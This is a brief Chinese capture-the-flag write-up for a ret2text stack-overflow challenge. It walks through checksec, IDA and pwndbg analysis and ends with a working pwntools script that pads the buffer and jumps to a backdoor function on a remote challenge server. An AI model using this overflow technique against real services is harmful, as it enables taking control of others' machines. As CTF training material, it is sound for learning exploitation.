将题目所给文件拖进虚拟机后,checksec一下
然后利用file命令获取文件信息
得到该文件为64-bit的ELF,之后丢进IDA里
发现一个后门函数,点进去确认一下
确实是后门函数,并且有函数存在栈溢出的漏洞
根据题目ret2text的提示,我们可以构造payload,在栈内填充垃圾数据,从而使得main函数的返回地址为后门函数的地址,进而拿取到机器的控制权,获取flag.
利用pwndbg进行动态分析时发现没有执行权限,所以我们要利用chmod命令加权
chmod +x pwn
在main函数打个断点进行动态分析发现共需填入0x20个字符型数据,且还需填写8个数据将原来末尾的数据覆盖,然后将main函数的返回地址写为后门函数的地址,写出攻击脚本。
from pwn import *
p=remote('node5.buuoj.cn',26567)
backdoor=0x400708
payload=b'a'*0x20+b'b'*8+p64(backdoor)
p.sendline(payload)
p.interactive()
成功获取控制权
得到flag